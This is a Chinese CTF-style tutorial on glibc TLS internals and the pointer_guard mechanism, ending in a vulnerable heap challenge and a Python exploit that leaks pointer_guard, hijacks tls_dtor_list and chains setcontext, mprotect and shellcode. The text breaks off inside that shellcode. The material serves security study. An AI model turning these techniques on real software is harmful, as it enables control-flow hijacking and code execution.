感谢cnitlrt师傅对本文的贡献
本文简单介绍了glibc的pointer_guard
机制的原理以及绕过(利用)方法。(示例中glibc版本均为2.31)
在介绍我们今天要讲的重点之前,我们需要先了解一些前置知识。
TLS简单介绍
要介绍pointer_guard
,对TLS的介绍是绕不开的。TLS的全称为Thread Local Storage,听名字就知道是一种线程独占的本地空间,在TLS出现之前,人们只能使用pthread_getspecific以及pthread_setspecific函数来处理线程独立存储,这显然是一种效率低下的解决方案。但现在我们可以使用__thread
关键字来告知编译器某一个变量应当被放入TLS,并且只需几条汇编指令就可以访问到该变量。这一切都源于编译器,链接器以及内核的密切配合。
引子
TLS的特殊性(只能被当前线程访问和修改)使得其不能像一般的变量一样被简单的存储到ELF文件的某个段。而且TLS变量的行为也与一般的变量不同。下面我们将通过一个程序来说明这两点:
#include <pthread.h>
#include <stdio.h>
static __thread int a = 12345; // 0x3039
__thread unsigned long long b = 56789; // 0xddd5
__thread int c;
void try(void *tmp) {
printf("try: a = %lx, b = %llx, c = %s\n", a, b, &c);
return;
}
int main(void) {
a = 0xdeadbeef;
b = 0xbadcaffe;
c = 0x61616161;
printf("main thread: a = %lx, b = %llx, c = %s\n", a, b, &c);
pthread_t pid;
pthread_create(&pid, NULL, try, NULL);
pthread_join(pid, NULL);
return 0;
}
使用gcc tls.c -pthread -g -o tls
编译后运行代码,我们发现程序的输出如下:
main thread: a = deadbeef, b = badcaffe, c = aaaa
try: a = 3039, b = ddd5, c =
这里就和我们想象的情况不同了,理论上来说,abc都是全局变量,main函数中对其进行赋值之后应该会体现在try函数的输出中。然而事实上两者并没有互相影响。这正是TLS变量的强大之处,要做到能够独立的修改变量,我们最容易想到的解决方案便是申请一个变量的副本。实际上正是如此,我们使用gdb查看程序的section时,发现多出了两个section:.tdata
以及.tbss
,与正常的data以及bss section相似,两者分别存储已经初始化的线程变量以及未初始化的线程变量。如下图所示:
这两个section中可以说是保存着变量的原本版本,下面我们需要研究的是变量的副本存储的位置。
观察try函数的汇编代码,我们可以看到程序在取线程变量a时使用了指令mov rdx, fs:0FFFFFFFFFFFFFFF0h
。现在我们终于找到了问题的关键:fs寄存器。然而我们在查看fs寄存器的值时却看到fs寄存器的值为0,这其实是因为gdb的权限无法直接访问fs寄存器,我们可以使用fsbase指令来进行访问。如下图所示:
令人惊讶的是,这个寄存器的值竟然指向一块mmap出的区域中,仔细一看,这个区域正是我们的栈所在的内存块。这时越来越多的东西被牵扯进来,我们离问题的核心也越来越近了。为了解决我们眼前的疑问,我们将目光转向TLS以及有关数据的结构。
x86_64-ABI要求的TLS结构
TLS(Thread Local Storage)的结构与TCB(Thread Control Block)以及dtv(dynamic thread vector)密切相关,每一个线程中每一个使用了TLS功能的module都拥有一个TLS Block。这几者的关系如下图所示1:
根据图中显示的信息,TLS Blocks
可以分为两类,一类是程序装载时就已经存在的(位于TCB前),这一部分Block被称为static TLS。右边的Blocks是动态分配的,它们被使用dlopen
函数在程序运行时动态装载的模块所使用。
TCB
作为线程控制块,保存着dtv
数组的入口,dtv
数组中的每一项都是TLS Block
的入口,它们是指向TLS Blocks
的指针。特别的,dt
v数组的第一个成员是一个计数器,每当程序使用dlopen
函数或者dlfree
函数加载或者卸载一个具备TLS变量的module,该计数器的值都会加一,从而保证程序内版本的一致性。
特别的,ELF文件本身对应的TLS Block
一定在dtv
数组中占据索引为1的位置,且位置上与TCB相邻2。
还需要注意的是,图中出现了一个名为tp_1的指针,在i386架构上,这个指针为gs段寄存器;在x86_64架构上,该指针为fs段寄存器。由于该指针与ELF文件本身对应的TLS Block
之间的偏移是固定的,程序在编译时就可以将ELF中线程变量的地址硬编码到目标文件中。
Glibc的TLS实现
接下来,我们通过源码来理解Glibc中TLS的具体实现方法。我们首先来研究多线程的情形。
非主线程情形
TCB结构体以及static TLS的空间分配
在函数pthread_create
中存在下面一条调用链:
pthread_create -> ALLOC_STACK
ALLOCATE_STACK
函数通过下面的操作来为新线程分配栈:
mem = __mmap (NULL, size, (guardsize == 0) ? prot : PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
/* 使用mmap函数来分配一块匿名映射来作为我们的新栈 */
/* !!! omitted some code !!! */
/* 将thread descriptor(pd指针指向的结构体)放到新栈的栈底 */
pd = (struct pthread *) ((((uintptr_t) mem + size)
- TLS_TCB_SIZE)
& ~__static_tls_align_m1);
/* 进行这一步操作后内存布局如下:
*
* TLS_TCB_SIZE
* ^
* +-----------+----------+
* | |
* ---------------------+----------------------------+
* | | |
* | pad | |
* | | |
* ---------------------+----------------------------+
* ^ ^
* + +
* pd mmap area end
*
*/
/* !!! omitted some code !!! */
/* Allocate the DTV for this thread. */
if (_dl_allocate_tls (TLS_TPADJ (pd)) == NULL)
{
/* Something went wrong. */
assert (errno == ENOMEM);
/* Free the stack memory we just allocated. */
(void) __munmap (mem, size);
return errno;
}
可以看到,新栈的底部被分配了一个容纳pd
结构体的空间,该结构体的类型为struct pthread
,我们称其为一个thread descriptor
,该结构体的第一个域为tchhead_t
类型,其定义如下:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
可以看到,这就是我们之前提到的TCB结构体的具体实现。
父线程TCB的继承
/* Copy the stack guard canary. */
#ifdef THREAD_COPY_STACK_GUARD
THREAD_COPY_STACK_GUARD (pd);
#endif
/* Copy the pointer guard value. */
#ifdef THREAD_COPY_POINTER_GUARD
THREAD_COPY_POINTER_GUARD (pd);
#endif
在栈分配之后,我们在pthread函数中看到了上面这样的代码。将宏展开后可以看到内容如下:
/* Read member of the thread descriptor directly. */
# define THREAD_GETMEM(descr, member) \
({ __typeof (descr->member) __value; \
if (sizeof (__value) == 1) \
asm volatile ("movb %%fs:%P2,%b0" \
: "=q" (__value) \
: "0" (0), "i" (offsetof (struct pthread, member))); \
else if (sizeof (__value) == 4) \
asm volatile ("movl %%fs:%P1,%0" \
: "=r" (__value) \
: "i" (offsetof (struct pthread, member))); \
else \
{ \
if (sizeof (__value) != 8) \
/* There should not be any value with a size other than 1, \
4 or 8. */ \
abort (); \
\
asm volatile ("movq %%fs:%P1,%q0" \
: "=r" (__value) \
: "i" (offsetof (struct pthread, member))); \
} \
__value; })
# define THREAD_COPY_STACK_GUARD(descr) \
((descr)->header.stack_guard \
= THREAD_GETMEM (THREAD_SELF, header.stack_guard))
不难看出,这一段的作用是将父进程的canary复制到当前进程的TCB结构体中。事实上,在fs寄存器尚未被改变之前,其中存放着父进程的TCB地址,我们可以使用THREAD_SELF宏来获取父线程的TCB指针:
# define THREAD_SELF \
({ struct pthread *__self; \
asm ("mov %%fs:%c1,%0" : "=r" (__self) \
: "i" (offsetof (struct pthread, header.self))); \
__self;})
借由这个trick,子线程从父线程继承了数个TCB的域,这里不再一一叙述,仅作了解。
dtv实现简介
那么我们可以沿着这条线索找到dtv
数组以及TLS Blocks
的具体实现。首先查看dtv_t类型的定义:
struct dtv_pointer
{
void *val; /* Pointer to data, or TLS_DTV_UNALLOCATED. */
void *to_free; /* Unaligned pointer, for deallocation. */
};
/* Type for the dtv. */
typedef union dtv
{
size_t counter;
struct dtv_pointer pointer;
} dtv_t;
可以看到该类型是一个联合,其值有可能是一个counter,该counter在dtv[-1]以及dtv[0]这个成员使用,标志dtv数组中的入口个数;其值也有可能是一个dtv_pointer结构体,其中的成员指向一个TLS Block。如下图所示:
需要注意的是dtv
使用module ID
作为索引,程序装载的每一个module
都会有一个module ID
,这个值存在于这个module
对应的link_map
结构体中,该结构体中的相关成员如下:
/* 与TLS有关的内容 */
/* TLS segment的起始地址,TLS segment由两部分组成,分别是tdata和tbss,存放初始化和未初始化的全局变量
* 该segment在module被装载的时候映射的内存中,作为每一个线程初始化TLS Blocks时的模版 */
void *l_tls_initimage;
/* TLS segment在文件中的大小(仅.tdata的大小) */
size_t l_tls_initimage_size;
/* TLS segment在内存中的大小(.data加上.tbss的大小)*/
size_t l_tls_blocksize;
/* TLS Block的对齐标准 */
size_t l_tls_align;
/* 符合对齐要求的第一个字节的偏移 */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* 对于程序加载时就装载了的模块,该变量标示本模块对应的TLS Block在static TLS中的偏移. */
ptrdiff_t l_tls_offset;
/* 本模块在dtv数组中的索引 */
size_t l_tls_modid;
/* 由该动态链接库构造的tls变量的数量 */
size_t l_tls_dtor_count;
dtv数组的空间分配
我们接着本节开头的调用链继续往下看,可以看到如下调用:
pthread_create -> ALLOC_STACK -> _dl_allocate_tls -> allocate_dtv -> _dl_allocate_tls_init
首先,程序在allocate_dtv
函数中为dtv数组分配空间:
static void *
allocate_dtv (void *result)
{
dtv_t *dtv;
size_t dtv_length;
dtv_length = GL(dl_tls_max_dtv_idx) + DTV_SURPLUS;
dtv = calloc (dtv_length + 2, sizeof (dtv_t));
if (dtv != NULL)
{
/* dtv长度的初始值 */
dtv[0].counter = dtv_length;
/* dtv的余下部分被初始化为0,来表示这里什么也没有 */
/* 将dtv加入到线程描述符中 */
INSTALL_DTV (result, dtv);
}
else
result = NULL;
return result;
}
我们可以看到程序在堆里面申请了一块区域赋值给dtv,然后利用INSTALL_DTV (result, dtv);
宏进行了一些操作,我们将宏展开,得到下面的代码
(tcbhead_t *) (result))->dtv = (dtv) + 1
到这一步为止,TCB中指向的dtv数组的空间已经被成功分配。
static TLS以及fs的初始化
下面我们来看_dl_allocate_tls_init
函数中进行的初始化工作:
从宏观上来说,该函数进行了一次对link_map的遍历,并且对于link_map链表中的每一个节点(对应一个模块)都进行了如下操作:
/* result指针指向TCB结构体, map为link map的一个节点 */
dest = (char *) result - map->l_tls_offset;
/* 设置DTV entry,一些平台在静态链接的程序中使用的简化版的__tls_get_addr需要这个值 */
dtv[map->l_tls_modid].pointer.val = dest;
/* 复制初始镜像,并将bss段清零 */
memset (__mempcpy (dest, map->l_tls_initimage,
map->l_tls_initimage_size), '\0',
map->l_tls_blocksize - map->l_tls_initimage_size);
对每一个module进行这一步操作后,(不考虑dlopen,dlfree)我们的TLS已经被初始化完成了。这时我们还留有最后一个疑问:谁设置了fs寄存器?
我们知道,fs寄存器是用户态程序无法设置,我们只能通过系统调用进行设置。因此我们使用strace -f ./tls
命令来跟踪程序执行中的系统调用,如我们所料,我们在clone系统调用中发现了如下参数:
clone(child_stack=0x7fa882eeffb0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tid=[37577], tls=0x7fa882ef0700, child_tidptr=0x7fa882ef09d0) = 37577
进而查找glibc中pthread_create
函数对clone的调用,我们找到如下调用链在TCB被设置之后完成:
pthread_create -> create_thread -> clone syscall
其中clone处的代码为:
const int clone_flags = (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM
| CLONE_SIGHAND | CLONE_THREAD
| CLONE_SETTLS | CLONE_PARENT_SETTID
| CLONE_CHILD_CLEARTID
| 0);
TLS_DEFINE_INIT_TP (tp, pd);
if (__glibc_unlikely (ARCH_CLONE (&start_thread, STACK_VARIABLES_ARGS,
clone_flags, pd, &pd->tid, tp, &pd->tid)
== -1))
return errno;
可以看到,之前设置的pd指针被作为参数传给了clone系统调用作为新的tls。
进而在linux内核代码中,有如下调用链:
clone -> _do_fork -> copy_process -> copy_thread_tls -> do_arch_prctl_64
在这里,我们见到了在Linux中真正用来设置fs寄存器的系统调用:arch_prctl
,在下面主线程情形的分析中,我们将会再次见到它。
主线程情形
概述
现在我们已经知道了arch_prctl
系统调用用来设置fs寄存器,那么接下来我们只需使用gdb设置catchpoint即可找到主线程初始化时设置TLS的大致位置,如下图所示:
可以看到,关键位置在dl_main
函数调用的init_tls
函数中,我们可以在GNU的文档中看到相关的调用如下3:
- dl.so ELF headers point its start at
_start
. _start
(sysdeps/i386/dl-machine.h) calls_dl_start
._dl_start
(elf/rtld.c) initializesbootstrap_map
, calls_dl_start_final
_dl_start_final
calls_dl_sysdep_start
._dl_sysdep_start
(sysdeps/mach/hurd/dl-sysdep.c) calls__mach_init
to initialize enough to run RPCs, then calls_hurd_startup
._hurd_startup
(hurd/hurdstartup.c) gets hurdish information from servers and calls itsmain
parameter.- the
main
parameter was actuallygo
inside_dl_sysdep_start
, which callsdl_main
. dl_main
(elf/rtld.c) interprets ld.so parameters, loads the binary and libraries, calls_dl_allocate_tls_init
.
我门可以看到,ld在装载了所有的module之后调用_dl_allocate_tls_init
.进行TLS的初始化工作,然而实际上dl_mian函数中进行的初始化工作不止这一处,有关的所有源码按顺序列举如下:
// part I
bool was_tls_init_tp_called = tls_init_tp_called;
if (tcbp == NULL)
tcbp = init_tls ();
if (__glibc_likely (need_security_init))
/* Initialize security features. But only if we have not done it
earlier. */
security_init ();
// part II
if ((!was_tls_init_tp_called && GL(dl_tls_max_dtv_idx) > 0) || count_modids != _dl_count_modids ())
++GL(dl_tls_generation);
_dl_allocate_tls_init (tcbp);
/* And finally install it for the main thread. */
if (! tls_init_tp_called)
{
const char *lossage = TLS_INIT_TP (tcbp);
if (__glibc_unlikely (lossage != NULL))
_dl_fatal_printf ("cannot set up thread-local storage: %s\n", lossage);
}
init_tls
:空间分配以及fs的设置
init_tls
函数首先初始化了一些关于TLS的metadata,受篇幅所限不再赘述。我们把目光集中在该函数调用的_dl_allocate_tls_storage
函数上,该函数源码如下:
void *
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
// 该变量存储着static TLS以及TCB的总大小,在elf/dl-tls.c中的_dl_determine_tlsoffset函数被赋值
/* GL(dl_tls_static_size) = (roundup (offset + TLS_STATIC_SURPLUS, max_align) + TLS_TCB_SIZE); */
size_t alignment = GL(dl_tls_static_align);
void *allocated = malloc (size + alignment + sizeof (void *));
if (__glibc_unlikely (allocated == NULL))
return NULL;
void *aligned = (void *) roundup ((uintptr_t) allocated, alignment); // 内存对齐
result = aligned + size - TLS_TCB_SIZE;
memset (result, '\0', TLS_TCB_SIZE); // 将TCB清空
*tcb_to_pointer_to_free_location (result) = allocated;
result = allocate_dtv (result);
if (result == NULL)
// 如果dtv不存在,那么TCB也就没有存在的意义了
free (allocated);
return result;
}
本函数分为两个部分,第一部分作用为为TCB以及static TLS分配空间,这一过程使用了一个名为malloc的函数,但注意这个malloc并非glibc中实现的ptmalloc,而是ld中独立实现的一个内存管理功能。该函数会mmap一块内存作为分配区,然后利用指向分配区中的指针的加减来实现内存的增加与减少(这是一个非常简单的实现,有兴趣可以自行查阅源码,只有几十行)
第二部分的作用为为dtv分配空间,由于上面我们malloc的时候已经mmap过足够的空间,这一部分allocate_dtv
函数调用calloc函数时会直接使用上次malloc剩下的内存,申请过后内存布局如下(忽略padding):
+---------------------+-------------------+-------------------------------+
| | | |
| static TLS | TCB Structure | dtv array |
| | | |
+---------------------+-+-------------------------------------------------+
| ^
+-----------------+
进行空间分配之后,init_tls
的剩余部分会调用arch_prctl
系统调用来进行fs寄存器的设置,然后经过检查之后函数返回。
security_init
:TCB安全功能的初始化
那么init_tls
函数的内容就到此结束了,下面我们将目光移向下一个函数security_init
,该函数初始化了一些与安全有关的信息
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
/* Set up the pointer guard as well, if necessary. */
uintptr_t pointer_chk_guard
= _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
__pointer_chk_guard_local = pointer_chk_guard;
/* We do not need the _dl_random value anymore. The less
information we leave behind, the better, so clear the
variable. */
_dl_random = NULL;
}
这一段代码很简单,基本作用如图所示:
Stack Part of TCB
_dl_random --> +---------------+ clear lowest +---------------+
| | 1 byte | |
| | +-----------> | canary |
| | | |
+---------------+ +---------------+
| | | |
| | +-----------> | pointer_guard |
| | | |
+---------------+ +---------------+
那么现在我们要解决的问题就是找到_dl_random
指针的来源
_dl_random
:一座桥梁
我们首先对该变量下一个写断点来查找它被赋值的位置,最终我们找到了_dl_sysdep_start
函数中的如下代码:
for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen (av++))
switch (av->a_type)
{
/* 省略 */
case AT_RANDOM:
_dl_random = (void *) av->a_un.a_val;
/* 省略 */
}
如果你对SROP技术中泄露vdso地址的方法有印象的话,你一定会记得一个位于栈中的数据结构:Auxiliary Vector。该数组由内核创建,其中给出了一些关于当前进程的辅助信息。一个典型的Auxiliary Vector大致如下所示:
而我们的_dl_sysdep_start
函数中的这一段switch语句正是遍历了这个数组,取其中AT_RANDOM对应的这一项的值,赋值给了_dl_random
指针。
下面我们再来看该指针指向的位置。我们经过简单的实验即可发现,该值在_dl_start
函数被调用之前就存在了。因此我们合理推测该值是由内核设置的。经过对内核源码的深入挖掘,我们发现了下面这条调用链4:
```
load_elf_binary -> create_elf_tables
在`create_elf_tables`函数中,我们发现了如下代码:
```C
/*
* Generate 16 random bytes for userspace PRNG seeding.
*/
get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes));
u_rand_bytes = (elf_addr_t __user *)
STACK_ALLOC(p, sizeof(k_rand_bytes)); // 就是sp - size
if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes)))
return -EFAULT;
可以看到这段代码的流程:首先获取了16个随机字节,然后将得到的这些数据压栈。这一个简单的操作其实正是本文议题的起源,这看似平平无奇的16个字节,实际上在程序用户态的后续操作中进入了TCB结构体,被用来当作对指针的加密措施以及栈canary。
接下来还有如下代码设置了Auxiliary Vector中的AT_RANDOM入口,也正是该入口的值在上述的用户态启动进程中赋值给了_dl_random
。(这或许为某种格式化字符串攻击提供了条件,因为这16个字节中间很少出现00截断。
/* Create the ELF interpreter info */
elf_info = (elf_addr_t *)current->mm->saved_auxv;
/* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */
#define NEW_AUX_ENT(id, val) \
do { \
elf_info[ei_index++] = id; \
elf_info[ei_index++] = val; \
} while (0)
/* 省略 */
NEW_AUX_ENT(AT_RANDOM, (elf_addr_t)(unsigned long)u_rand_bytes);
在进行了上述操作后,栈结构如下:
+----------------+
| |
Auxiliary Vector | AT_RANDOM ptr | +-----+
| | |
+----------------+ |
... |
+----------------+ |
| | |
| random bytes | <-----+
| |
+----------------+
| |
| 'x86_64\x00' |
| |
+----------------+
| |
| padding |
| |
+----------------+
| |
| argv & envp |
| string |
| |
那么对_dl_random的介绍就到此为止了,让我们回到正题。
_dl_allocate_tls_init
:TLS的初始化
这一步操作很简单,参见上面的static TLS以及fs的初始化一节。注意此时该函数的result参数为上面init_tls
函数的返回值,这个指针指向fsbase
,位于一块之前mmap出来的地址中。
最后,TLS_INIT_TP宏调用了arch_prctl,该系统调用进行了fs寄存器的设置。
主线程情形的分析到此结束。
TLS安全机制简单介绍
我们首先利用两个big picture来复习一下上面提到的内容:
之前我们对机制谈论了那么多,但实际上我们现在最需要了解的实际上是TLS有关的安全机制。
stack canary
对于stack canary,我们不做过多的叙述。相关的利用方式大家可能已经十分了解,我们将在后面的例二中讲解这一点。
pointer guard
这是我们要重点讲述,也是经常被忽略的一个机制。在Glibc中,有下面两个宏:
# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \
"rol 2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
# define PTR_DEMANGLE(var) asm ("ror2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
// 64位情况下,LP_SIZE为0x10
可以看到这两个宏利用pointer_guard
分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)]
,也就是我们这一小节的议题。接下来我们将对加密和解密的脆弱性进行解析。
利用pointer_guard
进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64)
,解密的过程为ror(enc, 0x11, 64) ^ pointer_guard
。那么假设现在我们知道了enc和ptr两个值,我们就可以通过这个算式来计算出pointer_guard
(64位情况)5:
pointer_guard = ror (enc, 0x11, 64) ^ ptr
同时假设我们获得了对pointer_guard
的任意写,并且已知会调用一个函数指针enc
,以及恶意地址evil_ptr
,我们可以通过修改pointer_guard
为evil_guard
来将解密后的指针导向恶意地址,转换关系如下:
evil_guard = ror (enc, 0x11, 64) ^ evil_ptr
关于pointer_guard的内容到此结束,下面我们根据上面所说的知识来进行一个知识点的总结。
关于TLS的攻击面总结
check上的是已经实践并且成功的(有尝试成功的师傅请联系我qq:1509684914)
TLS读写方法:
- 主线程情形
- 利用前一篇文章说过的mmap的特性,在libc地址已经泄露的情况下对libc地址加上某个特定的偏移,利用任意地址读写直接操作TCB结构(这里我们假定libc与TLS之间的偏移是固定的,在下一篇文章《线性区的分配与ASLR》中我们会看到理论依据)
-
通过栈泄露
pointer_guard
以及canary
(通常适用于格式化字符串攻击,根据cnitlrt师傅提供的思路,在堆题中可以将__free_hook
劫持为printf
函数,注意前面说过,这两组数据在栈中存在一份副本,并且Auxiliary Vector中存在指向它们的指针)) -
通过泄露libc中已经利用
pointer_guard
加密过的函数地址(如_dl_fini
,其加密后的地址在__exit_funcs
数组中,真实的地址可以用libc基地址计算得到),然后利用真实地址进行逆运算解出pointer_guard
-
修改
global_max_fast
然后通过free一个较大的chunk来将该chunk的地址写入到canary或者pointer_guard
中)。
-
非主线程情形:
- 因为这时TCB结构体也在栈上。对于一个足够长的栈溢出,我们很容易覆盖
tack_guard
以及pointer_guard
。注意static TLS在此种情况下是位于TCB结构体之前的,也就是说我们可以同时覆盖一些TLS变量。后面我们会给出具体的例子来介绍这种利用方式。
- 因为这时TCB结构体也在栈上。对于一个足够长的栈溢出,我们很容易覆盖
具体攻击路径
- 由于
tcache
是一个TLS变量,且该变量没有任何保护,可以写tcache
来劫持整个tcache链表。 -
泄露
pointer_guard
后可以劫持exit函数的流程,可以劫持__exit_funcs
数组来执行函数列表,但这种方法只能控制一个函数参数。 -
同样是泄露
pointer_guard
,但之后可以劫持tls_dtor_list
(主线程情形需要任意地址写,非主线程需要任意地址写或者栈溢出),进而构造dtor_list
结构体控制rdi
(obj
域)和rdx
(next
域),进而利用setcontext+53
来进行SROP。此方法适用于目前所有主流libc版本。 -
在任意地址写情况下,如果已知一个确切的利用
pointer_guard
解密指针的位置(如printf
函数中就存在这样的调用),可以通过修改pointer_guard
来使解密后的函数指针指向one_gadget
,进而getshell。 -
泄露或写入
stack_canary
来绕过canary
机制(注意主线程的stack_canary
和子线程的一样,并且修改主线程的stack_canary
之后创建的子线程的canary
也会被修改)
示例程序(攻击路径三)
下面是一个简单的堆溢出题。
在堆利用的过程中,如果遇到比较苛刻的情况(如开启了沙箱,只能orw读取flag)。那么我们常常会采用FSOP技术来劫持控制流,最终利用ROP来进行flag的读取。
首先,示例程序如下:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
char *chunks[32];
size_t sizes[32];
unsigned int get_num(void) {
char buf[8] = {0};
read(0, buf, 8);
return atoi(buf);
}
void title(void) {
printf("Here is your diary.\n");
printf("You can write anything here, your information is properly protected and everything will be destoryed when you leave.\n");
}
void keep_safe(void) {
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
struct sock_filter sfi[] = {
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x09,0xc000003e},
{0x20,0x00,0x00,0x00000000},
{0x35,0x07,0x00,0x40000000},
{0x15,0x06,0x00,0x0000003b},
{0x15,0x00,0x04,0x00000001},
{0x20,0x00,0x00,0x00000024},
{0x15,0x00,0x02,0x00000000},
{0x20,0x00,0x00,0x00000020},
{0x15,0x01,0x00,0x00000010},
{0x06,0x00,0x00,0x7fff0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {12,sfi};
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp);
}
void add(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (chunks[idx] || idx >= 32) {
return;
}
printf("Give me your size: ");
size_t size = get_num();
chunks[idx] = malloc(size);
sizes[idx] = size;
return;
}
void show(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (!chunks[idx] || idx >= 32) {
return;
}
write(1, chunks[idx], sizes[idx]);
return;
}
void del(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (!chunks[idx] || idx >= 32) {
return;
}
free(chunks[idx]);
chunks[idx] = 0;
sizes[idx] = 0;
}
void edit(void) {
printf("Give me your idx: ");
size_t idx = get_num();
if (!chunks[idx] || idx >= 32) {
return;
}
printf("Give me your content: ");
read(0, chunks[idx], 0x100);
return;
}
void menu(void) {
printf("Menu: \n");
printf("1. Add\n");
printf("2. Delete\n");
printf("3. Show\n");
printf("4. Edit\n");
}
int main(void) {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
keep_safe();
title();
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add();
break;
case 2:
del();
break;
case 3:
show();
break;
case 4:
edit();
break;
default:
break;
}
}
return 0;
}
编译时保护全开。
EXP
exp如下:
from sys import argv
from autopwn.core import *
from ctypes import *
def mask1(n):
if n >= 0:
return 2**n - 1
else:
return 0
def ror(n, d, width=8):
d %= width * 8 # width bytes give 8*bytes bits
if d < 1:
return n
mask = mask1(8 * width)
return ((n >> d) | (n << (8 * width - d))) & mask
def rol(n, d, width=8):
d %= width * 8
if d < 1:
return n
mask = mask1(8 * width)
return ((n << d) | (n >> (width * 8 - d))) & mask
def ptr_demangle(ptr, key, LP_SIZE):
tmp = ror(ptr, LP_SIZE * 2 + 1, LP_SIZE)
return tmp ^ key
def ptr_mangle(ptr, key, LP_SIZE):
tmp = ptr ^ key
return rol(tmp, LP_SIZE * 2 + 1, LP_SIZE)
class dtor_list(Structure):
_fields_ = [("func", c_int64),
("obj", c_int64),
("map", c_int64),
("next", c_int64)]
def pack(self):
return bytes(memoryview(self))
@attacker(EXP)
def exp(self, a:pwnlib.tubes.sock.sock):
choose = lambda x: a.sla("Edit\n", str(x))
idx = lambda x: a.sla("idx: ", str(x))
size = lambda x: a.sla("size: ", str(x))
content = lambda x: a.sa("content: ", x)
def add(i, sz):
choose(1)
idx(i)
size(sz)
def free(i):
choose(2)
idx(i)
def show(i):
choose(3)
idx(i)
def edit(i, c):
choose(4)
idx(i)
content(c)
add(0, 0x420)
add(1, 0x18)
free(0)
add(0, 0x420)
show(0)
libc_base = unpack(a.recvn(8), 'all') - 0x1bebe0
log.success(f"{libc_base=:#x}")
dbg = Debug(self)
dbg.b('exit').c()
fs_base = libc_base + 0x1c6540
pguard_addr = fs_base + 0x30
add(2, 0x18)
add(3, 0x18)
add(4, 0x18)
free(3)
free(2)
add(2, 0x18)
show(2)
heap_base = u64(a.recvn(8)) - 0x710
log.success(f"{heap_base=:#x}")
free(2)
edit(1, 0x18 * b'a' + p64(0x21) + p64(pguard_addr))
add(2, 0x18)
dbg.attach()
add(3, 0x18)
show(3)
pointer_guard = u64(a.recvn(8))
log.success(f"{pointer_guard=:#x}")
libc = ELF("./libc-2.31.so")
efuncs_addr = 0x1be718 + libc_base
dtor_ptr = fs_base - 88
add(5, 0x18)
free(5)
free(2)
edit(1, 0x18 * b'a' + p64(0x21) + p64(dtor_ptr))
add(2, 0x18)
add(5, 0x18)
add(6, 0x100)
add(7, 0x100)
add(8, 0x100)
target_addr = heap_base + 0xa00
edit(5, p64(target_addr))
setcontext_addr = libc_base + libc.sym['setcontext'] + 0x35
mprotect_addr = libc_base + libc.sym['mprotect']
payload = dtor_list(ptr_mangle(setcontext_addr, pointer_guard, 8),
0,
0,
target_addr + 0x110).pack()
edit(6, payload)
frame = SigreturnFrame()
frame.rdi = heap_base
frame.rsi = 0x2000
frame.rdx = 0x7
frame.rip = mprotect_addr
frame.rsp = target_addr + 0x220
payload = bytes(frame)
edit(7, payload)
payload = p64(target_addr + 0x228)
shellcode = f"""
/* open("flag", 0, 0) */
mov rax, {unpack(b"/flag", 'all')}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
/* read(fd, buf, 0x30) */
sub rsp, 0x30
mov rsi, rsp
mov rdi, rax
mov rdx, 0x30
